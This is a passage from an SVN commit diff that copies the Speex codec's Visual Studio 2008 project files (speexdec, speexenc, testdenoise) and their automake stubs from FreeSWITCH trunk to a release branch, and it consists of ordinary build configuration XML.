+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)/speexdec.exe"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)/speexdec.exe"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE2|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)/speexdec.exe"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\src\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\getopt1.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\skeleton.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\speexdec.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\wav_io.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\wave_out.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\..\..\src\getopt_win.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\skeleton.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\wav_io.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\wave_out.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/speexenc)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/speexenc/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = speexenc.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc/speexenc.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc/speexenc.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/speexenc/speexenc.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc/speexenc.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/speexenc/speexenc.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,427 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="speexenc"
+	ProjectGUID="{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}"
+	RootNamespace="speexenc"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)/speexenc.exe"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)/speexenc.exe"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)/speexenc.exe"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE2|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)/speexenc.exe"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\src\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\getopt1.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\skeleton.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\speexenc.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\wav_io.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\wave_out.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\..\..\src\getopt_win.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\skeleton.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\wav_io.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\src\wave_out.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/tests (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/tests)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2008/tests


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/tests/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/tests/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/tests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = testdenoise.vcproj testecho.vcproj testenc.vcproj testenc_uwb.vcproj \
+             testenc_wb.vcproj testresample.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testdenoise.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testdenoise.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/tests/testdenoise.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testdenoise.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testdenoise.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,305 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="testdenoise"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testdenoise.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

